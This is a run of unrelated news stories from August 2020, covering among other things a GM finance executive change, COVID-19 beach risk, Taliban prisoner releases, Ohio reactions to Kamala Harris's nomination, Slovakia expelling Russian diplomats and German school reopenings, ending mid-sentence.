Stapleton, GM North America chief financial officer, has been named acting global chief financial officer, effective Aug. 15. The appointment follows the resignation of Dhivya Suryadevara, executive vice president and CFO, who will leave the company for an external opportunity outside the automotive industry. GM will conduct an internal and external search for a successor. "Dhivya has been a transformational leader in her tenure as CFO," said Mary Barra, Chairman and CEO of General Motors. "She has helped the company strengthen our balance sheet, improve our cost structure, focus on cash generation and drive the right investments for our future. We wish her every success." Stapleton has been in his current role since January 2014. He joined the company in 1990 and has held a series of finance roles with increasing responsibility in manufacturing, labor, performance improvement and operations. "I am grateful for the opportunities I have been given at GM," said Suryadevara. "While I look forward to a new opportunity that will allow me to apply my skills in a new sector, I have great confidence in GM's trajectory and future." General Motors (NYSE:GM) is a global company committed to delivering safer, better and more sustainable ways for people to get around. General Motors, its subsidiaries and its joint venture entities sell vehicles under the Chevrolet, Buick, GMC, Cadillac, Holden, Baojun and Wuling brands. More information on the company and its subsidiaries, including OnStar, a global leader in vehicle safety and security services, can be found at http://www.gm.com. SOURCE General Motors Co. Related Links http://www.gm.com Worried about catching the new coronavirus at the beach this summer? Dont be, scientists say though it might be best to bring a cooler and skip the crowded beachfront bar. With summer vacations in full swing after months of lockdown, public-health authorities from California and Florida to Spain and the South of France are reporting a pickup in cases of COVID-19, the disease caused by the coronavirus. Photos of crowded beaches triggered envy for some, worry for others, starting soon after states such as Florida lifted Phase 1 beach restrictions in May. California and Florida each have reported around 50,000 new cases in the past seven days, according to the Centers for Disease Control and Prevention. In Europe, young people letting loose are fuelling a surge in coronavirus infections that are endangering hard-won gains against the pandemic. Daily cases in Spain are more than twice the level of a month ago, and in France they are up 60 per cent, according to data from the European Centre for Disease Prevention and Control. Some governments are warning against holidays in badly affected regions; others are testing incoming vacationers for the virus or requesting that returnees isolate at home for a week or more. But the beach probably isnt where most new transmission is occurring, disease experts say. The principal way the new coronavirus spreads from person to person is through droplets of virus-laden moisture that people exhale when they talk, laugh and sneeze. Some researchers suspect finer aerosol particles that hang in the air also play a significant role. The droplets spread more easily indoors, especially where people are in close contact, talking loudly and breathing heavily. Think of a favourite beachside club or bar, where partygoers are in proximity, shouting at each other over the music and with limited ventilation. Yet while the risk of catching the virus outdoors is small, it isnt zero. Experts suggest a few extra precautions for beachgoers to consider. Perhaps the most important is deciding where to go in the first place. The risk is higher where the coronavirus is generally more prevalent, and lower where there are fewer daily cases. Maintain social-distances as far as possible. If the beach you have picked is crowded, maybe try another one. Travel by foot, bike or car, and give public transport a pass. Bring a picnic. If you are meeting up with friends you havent seen in a while, keep in mind that the virus can spread from person to person when theres close conversation or heated argument. If you are close enough to smell garlic on someones breath, you are too close, said Julian Tang, a physician and associate professor of respiratory sciences at the University of Leicester, England. Save the funny anecdote for a phone call. If one of the five friends laughing in your face has coronavirus, youre the one thats the butt of the joke, he said. What about when its time to take a dip? Wont weaving your way from blanket to ocean bring you into too-close contact with people outside your carefully constructed bubble? If so, wear a mask. Buddy up, so your buddy can swim first while you hold both masks, then swap, said Thomas Russo, chief of the infectious diseases division at the Jacobs School of Medicine and Biomedical Sciences, University at Buffalo. And wear a mask and wash your hands when using the beach bathrooms. Getting this virus is all about close interactions over time, and interactions without masks, Prof. Russo said. On a beach, the droplets have much less chance travelling from one beach blanket to another. The sheer volume of air readily dilutes viral particles. The welcome breeze scudding in off the sea quickly disperses airborne pathogens. And when exposed to ultraviolet light from the sun, viruses and other bugs tend not to survive very long. The environmental conditions of sun, breeze and dryish air mitigate against virus survival, said Keith Neal, emeritus professor of epidemiology at the University of Nottingham, England. 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Ou Qingping, deputy head of the State Council Leading Group Office of Poverty Alleviation and Development, said the number of farmers in the less affluent central and western provinces who have found urban jobs reached 28 million this year, higher than last year's total. Of those farmers, more than 10 million have migrated to other provinces, he told a news conference held by the State Council Information Office in Beijing. "At present, the migrant worker situation is relatively good," he said. "The Chinese market is large, and there is great room for maneuvering." The situation also looks promising in the 52 counties that still retain the poverty label. Ou said 2.85 million farmers from these counties have found jobs outside their hometowns, 12 percent higher than last year's total. The data is 7 percentage points higher than the national average. The progress report came after the novel coronavirus epidemic halted operations at factories, restaurants and hotels, strongholds for such workers earlier this year. The epidemic has forced millions of migrant workers who contribute the lion's share of rural income to sit idle at home unpaid, threatening to impoverish many. To ensure that China ends domestic poverty on schedule, Ou said his office would continue to work with employment and other relevant authorities to help enterprises hire large numbers of migrants. Ou said the office would make sure such employers enjoy favorable policies such as tax breaks and exemptions from paying social security fees. Efforts will also be made to promote cross-regional cooperation, Ou said, citing as an example the Guangxi Zhuang autonomous region, which has worked with neighboring Guangdong province, a manufacturing hub, to find jobs for its rural workforce. The moves come as China enters the last leg of its yearslong anti-poverty campaign, which aimed to eliminate rural poverty before 2021, the centenary of the Communist Party of China. Huge progress has been made in curbing rural poverty. Between late 2012 and the end of 2019, more than 90 million rural poor escaped extreme poverty. The progress enabled China earlier this year to focus its energy on the 52 counties still labeled as impoverished. Measures to help these counties include offering more funding and manpower to help bolster the accessibility of the most basic public services, such as compulsory education, healthcare, safe housing and clean drinking water in these places. According to the anti-poverty office, all residents in those counties now have access to clean drinking water, and about 1.2 million farmers have been relocated to newly built homes that are safe and close to factories that offer jobs as well as hospitals, schools and other public facilities. A 19-year-old man was shot dead allegedly by BSF troopers in West Bengal's Coochbehar district, along the India-Bangladesh border, police said. According to a senior police officer, BSF personnel, during a raid to nab cattle smugglers in a village in Tufanganj area of Coochbehar district on Sunday night, allegedly gunned down Shahinur Haq. "We have come to know that a 19-year-old youth was shot dead by the BSF. We have started an investigation into the incident. We are in touch with BSF officials," the senior officer said. The BSF Guwahati frontier, under whose jurisdiction the area falls, is yet to issue a statement on the incident. North Bengal development minister Rabindranath Ghosh, who visited the village on Tuesday morning, told PTI that he would take up the matter with higher authorities. "The BSF just can't kill someone on suspicion that he was a cattle smuggler. If a person is caught red-handed, you take action. But just on the basis of suspicion, you can't shoot someone. We will take up the matter with the higher authorities. This is inhuman. You kill someone and then accuse him of being a cattle smuggler," Ghosh said. ISLAMABAD - Ahead of an upcoming release of Taliban detainees held in Afghan prisons, the insurgent group warned the government in Kabul on Tuesday against any attacks on those released, saying such incidents would jeopardize the peace talks. A Taliban spokesman told The Associated Press there have been at least 11 such attacks in the past several months instances when freed Taliban figures were killed, harassed and re-arrested by government forces. Kabul officials denied unwarranted attacks on freed Taliban. The prisoner release is part of a deal the insurgents signed with the United States earlier this year. A final 400 Taliban prisoners remain in government prisons. Over the weekend in Kabul, an Afghan traditional council, known as the Loya Jirga, agreed to free the final 400 imprisoned Taliban, paving the way for an early start to negotiations between Afghanistans warring sides. The council agreed to an immediate release of Taliban prisoners but by Tuesday, they had not been freed. Negotiations between Kabuls political leadership and the Taliban are expected to begin within weeks and will be held in the Mideast state of Qatar, where the Taliban maintain a political office. The Taliban said the talks could begin within a week of the final prisoner releases. Taliban political spokesman Suhail Shaheen warned that attacks on newly freed prisoners will drive them back to the battlefield despite orders from their leaders to stay at home, with their families. Attacks on their homes will make it impossible for them to stay in their homes, Shaheen said. Such incidents have happened that they have been re-arrested and also killed. In recent months, both sides have freed prisoners in line with the deal the Taliban signed with Washington on Feb. 29 to bring an end to decades of war. The government was to free 5,000 and has already released all but the last 400. The Taliban freed the 1,000 members of the government forces and Afghan officials they had held captive. Shaheen said the Taliban would be ready within one week to sit at the negotiating table with Kabuls political leadership to first negotiate a cease-fire and then start the complex talks to decide the road map of a post-war Afghanistan. But he said the moment is critical. For some it compares after the 9-11 attacks, when the 2001 U.S.-led invasion toppled the Taliban in who had harboured al-Qaida leader Osama bin Laden. Then tens of thousands of Taliban who gave up arms to return to their homes at the time were targeted by Afghan groups and warlords they had once fought seeking revenge. In December, 2001 a convoy of Afghan elders, including former Taliban, were targeted en route to welcome U.S.-backed President Hamid Karzai. Many who survived that attack later rejoined the Taliban. In southern Zabul province, more than 2,000 ethnic Pashtuns, the backbone of the Taliban movement, tried to join the newly formed Afghan army in 2002, only to be humiliated by Kabul government forces. Most rejoined the Taliban. After 2001, when some former Taliban attempted to join the new order, they were persecuted and humiliated. And some who were just from Taliban areas were accused of being supporters and attacked and driven out of their land, said Patricia Gossman, Associate Asia director of the Human Rights Watch. Many eventually joined the insurgency. Gossman said unless a strategy is devised and a system put in place there is a danger that attacks on the tens of thousands of former fighters on both sides of the conflict could unravel a fragile peace process. Given the enormous amount of mistrust ... old grievances can easily erupt into more violence, she said. Sediq Sediqqi, spokesman for Afghan President Ashraf Ghani, has denied that any released Taliban were arrested or attacked without cause. However, last month a government airstrike in western Herat killed 14 people when hundreds of elders had gathered to greet a returning Taliban figure newly freed from prison. The issue of reintegration will be a significant long-term policy concern that endures long after reconciliation has been achieved, said Michael Kugelman, Asia Program deputy director at the U.S.-based Wilson Center. The ideal system and its unclear if the Afghan state has the capacity to bring it about is one that provides former fighters with the tools and skills to be productive off the battlefield, and that gives the state and the economy the incentives and resources to support them, he said. _____ Associated Press writer Tameem Akhgar in Kabul contributed to this report. Read more about: Senior advocate Mahesh Jethmalani on Monday commenting on the alleged 'secret' agreement between Congress and the Communist Party of China claimed that the memo of 2008 was signed by Rahul Gandhi with a "covert intelligence wing" of the Chinese state apparatus which uses the countrys embassies abroad to achieve its end. 'A covert intelligence wing...' Along with the link of an article by GoaChronicle.com, Jethmalani tweeted, "Recall Rahul's cosiness with the Chinese ambassador and the Chinese embassy's role in propping up OLI in Nepal." The memo of 2008 was signed by Rahul Gandhi with a covert intelligence wing of the Chinese state apparatus which uses the countrys embassies abroad to achieve its end. Recall Rahuls coziness with the Chinese ambassador and the Chinese embassys role in propping up OLI in Nepal Mahesh Jethmalani (@JethmalaniM) August 10, 2020 Jethmalani quoted his remarks from this report which states that the International Liaison Department of CPC is an important and yet often overlooked unit of Beijing's power and influence under the Communist Party. "The departments core objective is to use party-to-party contacts to help safeguard the countrys interests and facilitate state-to-state relations," it said. 'This is unheard of and absurd in law' Meanwhile, last Friday, the Apex court had refused to entertain a PIL seeking NIA probe into the alleged 2008 agreement. A bench headed by Chief Justice S A Bobde asked senior lawyer Mahesh Jethmalani, appearing for PIL petitioners Shashank Shekhar Jha and journalist Savio Rodrigues, to withdraw the plea and approach the High Court. "Every relief which you are seeking can be granted by the High Court. Secondly, the High Court is a proper court. Thirdly, we will have the advantage of High Court order also," said the bench which also comprised Justices A S Bopanna and V Ramasubramanian. READ | Senior advocate Mahesh Jethmalani calls for NIA probe into 2008 Congress-CPC agreement The top court, in the hearing conducted through video conferencing, allowed the petitioners to "withdraw the petition with liberty to approach the High Court." At the outset, Jethmalani alleged that it was an "agreement between a political party of this country with the only political party in that country (China)" and the issue pertained to national security. READ | 'Never heard a party sign deal with foreign Govt before': CJI on Congress-China pact in SC "We find that there is something which appears to be, what might be called, unheard of and absurd in law. You are saying that China has entered into an agreement with a political party and not the government. How can a political party enter into an agreement with China," the bench observed? READ | Senior advocate Mahesh Jethmalani questions Congress for not making MoU with CPC public The court said, "Within our limited experience, we have unheard of it that a political party is making an agreement with another country." Jethmalani argued that the alleged offences, if any disclosed, will be under the NIA Act and the Unlawful Activities Prevention Act and it will be better if the Supreme Court examine this as it relates to national security. READ | Congress tells BJP Chief JP Nadda to 'read what CJI said' on 2008 Congress-CPC MOU WASHINGTON, D.C. - Democratic party leaders in Ohio on Tuesday said they were pleased with presidential candidate Joe Bidens decision to pick California Democratic Sen. Kamala Harris as his running mate. Niles-area Democratic Rep. Tim Ryan - who briefly ran for President himself - called the decision perfect. Warrensville Heights Democratic Rep. Marcia Fudge, who endorsed Harris presidential bid roughly a year ago, said she made history by becoming the first Black woman to be a major-party vice-presidential nominee. Ohio Democratic Party Chair David Pepper said hes excited to have a VP nominee who understands that the path to victory is through Ohio. Meanwhile, Ohio Republican Party Chair Jane Timken released a statement that accused Biden of picking someone with their own progressive agenda to peddle, and described Harris and Biden as extreme liberals. Harris has supported taxpayer-funded health care, slashing the defense budget, raising taxes, and eliminating the Electoral College - radical proposals that will be disastrous for Ohioans, Timkens statement said. The choice for voters is between two extreme liberal candidates and a President who has kept his promises and led Americans through tough times. To voters who value being able to keep their insurance, having more money in their pockets thanks to tax cuts, and limited government, the choice is clear. Heres a selection of the statements that Ohio politicians released about Bidens choice: U.S. Sen. Sherrod Brown, D-Cleveland: Kamala Harris has spent her whole life lifting up the voices of workers and families that are too often drowned out by the powerful and the privileged. She took on Wall Street banks as California Attorney General, and we have fought together in the Senate to make our country a more just and equal place 0 one that lives up to the ideals her parents taught her, from the pews of the 23rd Avenue Church of God, to marching alongside her mother for Civil Rights. Senator Harris will be a strong partner to Joe Biden, and she will be a role model for young girls everywhere who will finally see a leadership team in the White House that looks a little more like the vibrant country we are today and reflects the more perfect union we strive to be. U.S. Rep. Tim Ryan, D-Niles area: Kamala Harris is the perfect running mate for Joe Biden and an historic choice as the first Black and Asian American woman vice-president. Kamala Harris is tough, passionate, principled and possesses the character this country needs to steer away from the divisive politics of our current president and work with Joe Biden to unite this country and get us back on to track to fulfill the promise of our nation. Kamala Harris loves Ohio and Ohio loves Kamala Harris. Together, Joe Biden and Kamala Harris are going to lay out a positive vision that will send voters rushing to the ballot and mailboxes to reject the past and embrace the future. U.S. Rep. Marcia Fudge, D-Warrensville Heights: Joe Bidens decision to nominate Kamala Harris as his Vice Presidential nominee is a monumental and historic moment for women across the country. Todays announcement says to all women, especially Black women who have been the most reliable and loyal voters to the Democratic party that we now will have a seat at the table. Senator Harris is the first Black woman and first Asian American to be a major-party vice-presidential nominee, making history. She is uniquely qualified and prepared to help Joe Biden restore the soul of America. A fearless trailblazer throughout her life, her presence on the ballot represents the countrys diversity and is sure to energize our base as we head to the polls in November. Now it is time for the party to come together to ensure the election of Joe Biden and Kamala Harris as the next President and Vice President of the United States of America. Congratulations to @JoeBiden on an excellent choice and to @KamalaHarris for making history by becoming the first Black woman to be a major-party vice-presidential nominee. #BlackWomenLead #BidenHarris2020 https://t.co/xsRBNT8dHe Marcia L. Fudge (@mlfudge) August 11, 2020 U.S. Rep. Marcy Kaptur, D-Toledo: I commend Vice President Joe Biden for his choice of Senator Kamala Harris as his running mate. Senator Harris has a distinguished record of public service at the local, state, and federal level. Her record will compliment Vice President Bidens commitment to a presidency that stands for the people and not just the interests of the privileged few. Im determined to work to deliver Ohio for the Biden-Harris ticket. Ohio House Minority Leader Emilia Sykes, D-Akron: Vice President Joe Bidens selection of Kamala Harris as his running mate is a ticket that will put working people and families first, ensure the Ohio Promise of better lives, brighter futures and an economy that works for everyone, and help our country live up to Americas Promise. Im excited to see a Black woman being named because she is the best choice and underscores the critical idea that We Belong Here. Excited to have a VP nominee who understands that the path to victory is through Ohio WATCH: pic.twitter.com/0KuW3YT7kR David Pepper (@DavidPepper) August 11, 2020 BidenHarris2020!!! Rep. Tavia Galonski (@RepGalonski) August 11, 2020 More coverage: Ohio workers say ending federal unemployment payments could ruin them if the pandemic persists Coronavirus confusion: Why mistakes are more likely with Ohio Gov. DeWines first test Northeast Ohio charity gets federal grant to house human trafficking victims Lordstown Motors to become publicly traded company after merger House passes bill to fund Great Lakes projects and numerous federal departments Democrats including Sen. Sherrod Brown bemoan end of $600 federal unemployment supplement Jim Jordan grills Anthony Fauci on whether protests spread coronavirus, rails about restrictions on church services Ohio Democratic Party relents on controversial PPP loan as legislation is introduced to require a giveback Ohios U.S. Sen. Sherrod Brown introduces legislation to boost domestic personal protective equipment production Rep. Jim Jordan attacks tech CEOs, saying they discriminate against conservatives Want to launder money? Buy art, says report by Ohio U.S. Sen. Rob Portman Ohio libraries to get coronavirus relief money President Donald Trump, Justice Department say Cleveland will see surge of federal agents to combat crime Sen. Sherrod Brown introduces resolution to declare racism a public health crisis Rep. Bob Gibbs asks President Trump to restrict TikTok app New Delhi: To fight against COVID-19, Israel contributed state-of-the-art AI-based technologies and equipment to the All India Institute of Medical Sciences (AIIMS) on Tuesday. The high-end equipment and technology solutions will not only assist AIIMS in its efforts to tackle COVID-19 more effectively but also enhance its overall healthcare facilities. "The cooperation between the Embassy of Israel in India and AIIMS hospital holds long-term cooperation of more than a decade. In 2007, a delegation of 21 members including senior Doctors and Nurses from AIIMS India participated in training on Trauma and Mass Casualty Management organized by MASHAV (Israels Agency for International Development Cooperation) in Rambam Care Campus in Israel," said Israel Embassy in a statement. Speaking at the event, Israel Ambassador to India Dr Ron Malka said, We are pleased to share the best medical technology solutions from Israel with the most premier medical institute of India. We are confident that these technologies will further bolster their capabilities to tackle COVID-19. Through cooperation and the combination of India and Israels medical prowess, we can find effective solutions that will help both countries, as well as the world. Following conversations between the prime ministers of both the countries since the outbreak of the world pandemic in which they agreed to collaborate on fighting COVID-19, Israels Ministry of Foreign Affairs initiated a mission and located the most advanced medical equipment that has been developed in Israel using cutting edge technologies to fight COVID-19. In coordination with AIIMS, the most useful products were collected, some equipment was contributed, and some purchased with special funds allocated by the Minister of Foreign Affairs, Gabi Ashkenazi. The technologies include contactless monitoring applications, advanced medical management systems, and AI-based solutions such as AI assistant robots that can help medical teams perform various tasks remotely. This note-worthy action further cements Israels commitment towards assisting India in its efforts to tackle the ongoing pandemic. Speaking at the event, Dr (Prof) Randeep Guleria, Director AIIMS thanked Israel and said that COVID -19 Pandemic has severely tested the resilience of all nations. Both India and Israel are extending support to the international community by sharing their expertise, data, knowledge, medicines and collaborating in the areas of developing vaccine and research thus leading by example and showing the true spirit of Vasudhaiva Kutumbakam (the whole world is one single family). Serial testing is to be rolled out at meat plants across the country. Taoiseach Micheal Martin made the announcement after a cabinet subcommittee on Covid19 on Tuesday. The news comes after three counties were ordered back into restricted movement on Friday after a series of Covid19 outbreaks in meat plants and Direct Provision centres. "Initially in meat plants weekly, which is particularly important in terms of contact tracing," he said. "It will be weekly testing initially across the three counties (Kildare, Laois and Offaly) and that will progress across the country, which will progress to fortnightly over time. "There will be a serial systemic programme of testing in all meat plants across the country along with direct provisions centres, it has seen success in nursing homes and will continue in nursing homes on regular basis. "The overall capacity is strong in terms of the HSE's testing and tracing capacity. "At the moment, we are concerned about the spike which occurred in the midlands, overall numbers are up across the country but community transmission remains stable according to the Chief Medical Officer." The cabinet sub-committee, which met today, will meet again next week for a medium-term plan for the next six months to nine months for the next phase of covid19. "We've opened up a considerable degree of society and obviously like other countries, we've seen increases in numbers and we have to look and plan ahead for potential scenarios that may emerge while protecting people and keeping community transmission low, that's the ongoing challenge," Mr Martin added. Taoiseach Micheal Martin TD during a Government Cabinet meeting at Dublin Castle. Picture: Gareth Chaney/Collins The Taoiseach says his cabinet has been approached by a number of different representatives from Laois, Kildare and Offaly, in the days since the counties saw greater lockdown restrictions imposed after the outbreaks and ministers will meet again this week to discuss how best to aid business in those counties. "Our concern, to be frank, is vulnerable groups in congregated settings," he said. "The initial response is testing and contact tracing, we have to step back and look at the risks congregated settings present. "We'll be looking at meat plants in general in terms of making sure workers are protected and conditions are assessed, in terms of their capacity to be conducive to the spread of the virus. "A constant monitoring and overview of the situation. "What has happened over two months have been concentrated on vulnerable groups, congregated settings and some clusters." Osman Aslan was a volunteer, informing Muslims about anti-coronavirus measures in the mosque. He died on August 2 from an apparent heart attack but the authorities kept the news under the wrap for days. The Istanbul Governors Office asks for mercy from God. Istanbul (AsiaNews/Agencies) Osman Aslan, the muezzin in charge of coronavirus safety at Hagia Sophia (Ayasofya) since it reopened as a mosque, died suddenly inside the building from an apparent heart attack on Sunday, tweeted the Istanbul Governors Office. We wish mercy from God to the family and relatives of Uhud Mosque, Muezzin-Kayyum, who passed away during the voluntary guidance service in Hagia Sophia-i Kebir Mosque, due to a heart attack, the tweet read. His death came a few days after Hagia Sophia was reconverted into a mosque in accordance with Turkish President Recep Tayyip Erdogans will. Aslan served as a volunteer in Hagia Sophia from the first day of its reconversion into a mosque, providing Muslims with information about anti-coronavirus measures in the building. According to the initial reports, the muezzin died on 2 August but the authorities kept the news secret for days. for years, he had been one of the most ardent supporters of Hagia Sophias reconversion into a mosque. Originally a basilica, the building was turned into a mosque after the Ottoman conquest of Constantinople in 1453. In 1934, Kemal Ataturk, the founder and first president of modern Turkey, ordered that it be turned into a museum. Meanwhile in Athens (Greece), the local Muslim community, about 300,000-strong, mostly immigrants who arrived in the past 20 years, fear that Hagia Sophias reconversion might further delay the opening of the citys first mosque. Athens is the only European capital without an Islamic place of worship. I think that after this incident, it might be even more difficult to open the official mosque that we have waited for ten years, said Imam Atta-ul Naseer, The project dates back to 2007, but was stalled several times in the face of opposition from the Greek Orthodox Church and Greek nationalist groups. At present, Muslim worshippers have to pray in private homes, cellars or garages. Foreign Affairs Ministry points to the recent St. Petersburg scandal. Font size: A - | A + Comments disabled Slovakia has expelled three Russian diplomats who have violated the Vienna Convention on diplomacy with their actions, the Dennik N daily reported on Monday. The Foreign Affairs Ministry did not specify the names of the people who have to leave the country by Sunday, August 16, the ministry's spokesperson Juraj Tomaga confirmed for the press. Skryt Remove ad Article continues after video advertisement Skryt Remove ad Article continues after video advertisement "Moreover, there has been an abuse of the visa issued by the Slovak General Consulate in St. Petersburg, and in this connection, a serious crime has been committed on the territory of another NATO and EU member state," Tomaga told Dennik N. St Petersburg scandal The Foreign Affairs Ministry has recently been dealing with a scandal involving Slovakia's general consulate in St. Petersburg. Related article Related article Another international scandal? Slovak consulate in St.Petersburg under scrutiny Read more Last summer, the staff of the consulate allowed a Russian citizen into the European Union, suspected of involvement in the murder of a Georgian citizen in Berlin, the media reported in early July this year. The Russian was awarded a one-year visa even though it was under a fake identity. Foreign Affairs Minister Ivan Korcok (SaS nominee) is now sending investigators to St. Petersburg to find out whether it was a failure of the Slovak diplomats or if they directly cooperated with Russian authorities. "I consider this a grave issue. Not just our security, but that of all Europe is at stake," Korcok said. The minister has sent investigators to St. Petersburg to find out about the work of the consulate. Russia to reciprocate, US applauds Dennik N reported that there are currently 45 diplomats officially working for the Russian Embassy. In addition, the embassy employs 30 more staff members who are not on the list of diplomats. At least one-third of them are supposed to be engaging in espionage, the daily wrote. "I want to stress that we are interested in developing bilateral relations with Russia, but the activities and work of Russian diplomats in Slovakia must be in accordance with the Vienna Convention on Diplomatic Relations and with usual principles," Tomaga of the Foreign Affairs Ministry told Dennik N. Prime Minister Igor Matovic reacted with a Facebook post, saying that even though Russians are "our Slavic brothers" and Russia is a trade partner of Slovakia, sometimes a line needs to be drawn. "Slovakia is a sovereign state, not a banana republic where we can laugh into the face of the rules of diplomacy," Matovic wrote. When he received information about the activities of some of the Russian Embassy staff, and the confirmation that a Slovak visa has been abused to commit a murder in Germany, he said "I knew without hesitation that such actions cannot be left without consequences". After the news about the expulsion of the three Russian diplomats from Slovakia, the Russian Foreign Ministry announced that Moscow would reciprocate, the Sme daily wrote, citing the Russian news agency TASS. The U.S. Department of State has applauded Slovakia's action against the Russian diplomats. "Slovakia's Foreign Ministry has sent a clear signal that it will not tolerate Russias politically-motivated criminal acts on Slovak soil or in Europe," the spokesperson of the Department of State, Morgan Ortagus, wrote on Twitter. Delhi University's online open book examination for final-year undergraduate and postgraduate courses began on Monday with students complaining that they received question papers of two subjects and faced difficulty in uploading answer sheets. The were held in three shifts - 7.30 am to 11.30 am, 11.30 am to 3.30 pm, and 3.30 pm to 7.30 pm. Zubair Khan, a student of School of Open Learning (SOL), said, "I had my Hindi exam today according to the date-sheet. When I opened the portal for downloading my question paper, I found that two question papers were uploaded -- one of Hindi and another of the paper scheduled for August 13. I sent mails to the SOL but there was no response. I consulted a professor who advised me to attempt the paper scheduled for today." Rohit Kumar (27), student of law faculty, said, "The paper was theoretical. The major issue was you have to complete it -- from writing and uploading on the portal after scanning the answer sheet -- within four hours. This requires good internet connection as well as phone for the process. Many students who are living in rural areas must have faced issues." A student of B.Sc Physical Science, who did not wish to be identified, said the paper was tough and in a situation when classes could not happen properly, it was unjust for students. Students also said they came down from their hometown to Delhi for the "I was at my place in Bijnor and I had to come Delhi just to give as there was no proper electricity. Today, it was our first paper," said Keshav Pratap Singh 24, a law student. Anshu Shukla, a final year student of Motilal Nehru College, who too came down to Delhi to take the exams, said the main issue he faced was in uploading of answer sheets. "I mailed the answer sheets to the varsity portal and got a response saying 'your message has been received'. I do not know whether my answer sheets will be accepted. I tried to upload them after compressing them but still they were not getting uploaded on the portal," he said. Muskaan Kaushik, a student of Motilal Nehru College, said her internet connectivity had died and she faced problems in uploading answer sheets as the "files were too large". "I tried to compress them, send them one by one but still could not. Later, I emailed my answer sheets. Many of my friends got the message 'Your answer sheet has been received' but I got 'Your message has been received'. I do not know whether my answer sheets have been received," she said. Abha Dev Habib, a professor of Miranda House, said most of the students in her class did not get a confirmation email after uploading their answer sheets. The students then mailed to the varsity website their answer sheets and got an auto-generated response. Pankaj Garg, a professor of Rajdhani College, too said students faced problems in uploading answer sheets. "They faced problems in uploading PDF files. Some students said if they were able to upload answers to two questions, they could not upload the third... The college received answer sheets on email post 11.30 am, which was the scheduled time," he said. Another student, requesting anonymity, said the time allotted was not adequate. "Almost all of my classmates finished the paper with just minutes left on clock, making the process of upload hasty, full of errors and preview of answers impossible. There was no timer provided hence we had no clue exactly how much time was left for the portal to close as there are variations in time of everyone's clock," he said. He also claimed that a majority of his classmates received no confirmation email even after submitting the answer sheets on time. "One of my friends was unable to upload documents from her phone. One of my classmates was unable to submit her answer scripts even after timely upload," he said. Some students even claimed that question papers for exams scheduled to begin at 3.30 pm were uploaded at 11.30 am. "What are we supposed to do? Do we get nine hours for solving the paper? Our exam was supposed to start at 3.30 pm but the question papers were uploaded at 11.30 am. Will these papers be cancelled?" However, a DU official said that there are multiple subjects in a course and they were uploaded under the same subject and ruled out possibility of question paper being uploaded before the scheduled time. For teachers, the most challenging part would be marking of pages, it seems evaluation would take much longer, he stressed. "As many as 35,000 students took the exams today. The issues that arose during the mock exams did not arise today. May be the students were more serious about these exams since they were the actual exams," said a official, requesting anonymity. When asked about students complaining about being unable to upload large files, he said they have received files of 40 pages. Many visually impaired students were unable to take the exams in the absence of assistive devices, accessible reading material and not having scribes, said SK Rungta, who represented the National Federation of the Blind in the case in the Delhi High Court. The exams have been postponed several times. The Teachers Association had been demanding that the exams be scrapped and the students evaluated on the basis of previous performances and an internal assessment. The Delhi High Court gave its nod to the university to conduct the exams. The Delhi government had decided to cancel all forthcoming semester and final exams of universities under it due to the COVID-19 situation, Deputy Chief Minister Manish Sisodia had said in July. Sisodia said the state universities have been asked to promote their students and award them degrees adopting a "progressive method of evaluation". The is a central university. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) New Delhi: The government is considering the idea to create food storage/ storage center on Railway land for safe storage of grains. The modern storage units will be built on the land near the Railway station, according to an official statement. This facility will extend two advantages; firstly, grain can be stored safely in an all-weather friendly way. Secondly, the grain can be sent to different states through railways in case of requirement. Union Food Minister Ram Vilas Paswan and Railway Minister Piyush Goyal held an important meeting on Tuesday. Another meeting is proposed to be held in the next 15 days to discuss the issue. Meanwhile, Union Minister Harsimrat Kaur Badal has urged Railway Minister Piyush Goyal to start a dedicated Kisan rail with refrigerated bogies from Abohar to Bangalore and Abohar to Kolkata respectively during the Kinnow harvest to benefit farmers of Punjab, Rajasthan, and Haryana. Harsimrat Kaur Badal, who wrote a letter in this connection to Goyal, congratulating him for launching the Kisan rail initiative, said the cluster of Kinnow cultivation, which included adjoining areas from the states of Punjab, Haryana, and Rajasthan, was spread over one lakh hectares. She said the town of Abohar in Punjab functioned as the focal market for aggregation of Kinnows and handled twenty-five lakh metric tonnes of produce every year. She said a Kisan rail originating from Abohar could take Kinnow to the southern and eastern states where there was a big market for the fruit, adding that the biggest market for the fruit was in Bangalore and Kolkata even as a significant quantity was exported to Bangladesh. Badal said presently due to the highly perishable nature of the fruit, only 35 to 40 percent of the harvest reached the end consumers. Notably, Kinnow harvest season falls between the months of December and March. Although there are currently more than 1,000 new coronavirus infections per day in Germany, all of the countrys state governments are ruthlessly enforcing school openings after the summer break. This can only be called an experiment in herd immunitya policy with potentially lethal consequences for children, teachers, teaching assistants and their families. Last Thursday, the Robert Koch Institute (RKI) reported 1,045 new infections and on Friday 1,147 new infections. These figures refer to infections measured about 10 days ago. This means that the current rate of infection is very likely much higher. There are over 19 million cases of SARS-CoV-2 worldwide, more than 712,000 people have already died, and in Germany the number of deaths rose to 9,183 on Friday. In this situation, all state governments are determined to send children back to school without restrictions. This is despite the fact that the increase in new infections has reached a level equivalent to that of mid-March 2020, when all schools and day-care centres were closed and the lockdown was imposed. Now, however, all of these facilities are being reopened. The goal is very clear: get the population back to work so that profit-making can resume and stock markets can soar even higher. Politicians of all stripes and business representatives leave no doubt about their intentions. Annalena Baerbock, chairwoman of Bundnis 19/Die Grunen, stated categorically in the ARD televisions morning program on Friday, What must be clear is the top guideline: that schools should never again be completely closed as a first measure. With this statement, the Green Party leader echoed the demand of Siemens boss Joe Kaeser, who categorically told the newspaper Die Welt, We certainly cannot afford a complete shutdown anymore. The newspaper commented that Kaeser was absolutely right: there must not be a procedure based on the motto Operation successful, patient dead. (The patient here is clear: the German economy.) And further: The fact that day-care centres and schools are closed first and open last must not happen a second time. What politicians, managers and journalist are demanding are conditions that will lead to thousands of illnesses and deaths. Just to recall, it was school closures in particular that helped to contain the pandemic initially and prevent deaths. As the Journal of the American Medical Association (JAMA) documented in a study, in the last two weeks of March about 40,600 lives were saved thanks to the closure of schools worldwide. Without the four weeks of school closures from mid-March to mid-April, nearly 1.4 million more people would have been infected worldwide. On Friday it was announced that there have already been cases of coronavirus at a minimum of at least two schools in the state of Mecklenburg-Western Pomerania where classes recommenced last Monday. After a high school teacher in Ludwigslust and a primary school pupil in Graal-Muritz tested positive, both schools had to be closed again. In Hamburg, where classes restarted last Thursday, the number of COVID-19 infections is rising sharply. According to official figures, there were 80 new cases from Thursday to Friday. In addition to a number of persons returning from travel, workers at the Hamburg shipyard Blohm+Voss have tested positive. On Wednesday, 60 new 